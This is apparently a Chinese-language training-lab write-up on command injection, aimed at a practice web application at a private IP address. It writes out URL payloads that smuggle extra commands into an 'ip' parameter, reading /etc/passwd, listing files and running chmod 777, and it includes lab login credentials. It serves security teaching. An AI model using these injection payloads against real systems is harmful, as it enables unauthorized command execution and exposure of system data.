实验目的
了解命令执行漏洞的危害
实验原理
由于开发人员编写源码，没有针对代码中可执行的特殊函数入口做过滤，导致客户端可以提交恶意构造语句提交，并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval()，exec()等函数是该漏洞攻击成功的最主要原因。
实验内容
命令注入攻击中WEB服务器没有过滤类似system(),eval()，exec()等函数使得攻击成功
实验环境描述
1、靶机 用户名密码为：root toor
2、渗透机 用户名密码为：admin 123456
实验步骤
1、在靶机上输入ifconfig查看靶机地址（请自行修改ip地址，确保实验可以做通）
2、在攻击机win7的浏览器中输入靶机地址192.168.10.117/index.php
3、找到 Commands injection ，点击Example1进入命令注入环境第一的实例
4、在攻击机浏览器中输入http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 && pwd发现并没有什么变化
5、http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 ％26％26 pwd将&&进行编码，显示了当前路径
漏洞利用
1、http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 ％26％26 whoami进行whoami查询
2、http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 ％26％26 net start，通过命令注入攻击查看web服务器开启了哪些服务
3、http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 ％26％26 cat /etc/passwd,显示当前有哪些用户。
4、http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 ％26％26 ls -l查看当前目录下所有可见文件的详细属性
5、http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 ％26％26 chmod 777 examplel.php ,修改examplel.php文件的权限为文件所在的组和其他用户是可读可写可执行。
6、http://192.168.10.117/commandexec/example1.php?ip=127.0.0.1 ％26％26 ls -l查看当前目录下所有可见文件的详细属性，examplel.php的文件权限已经被修改了。
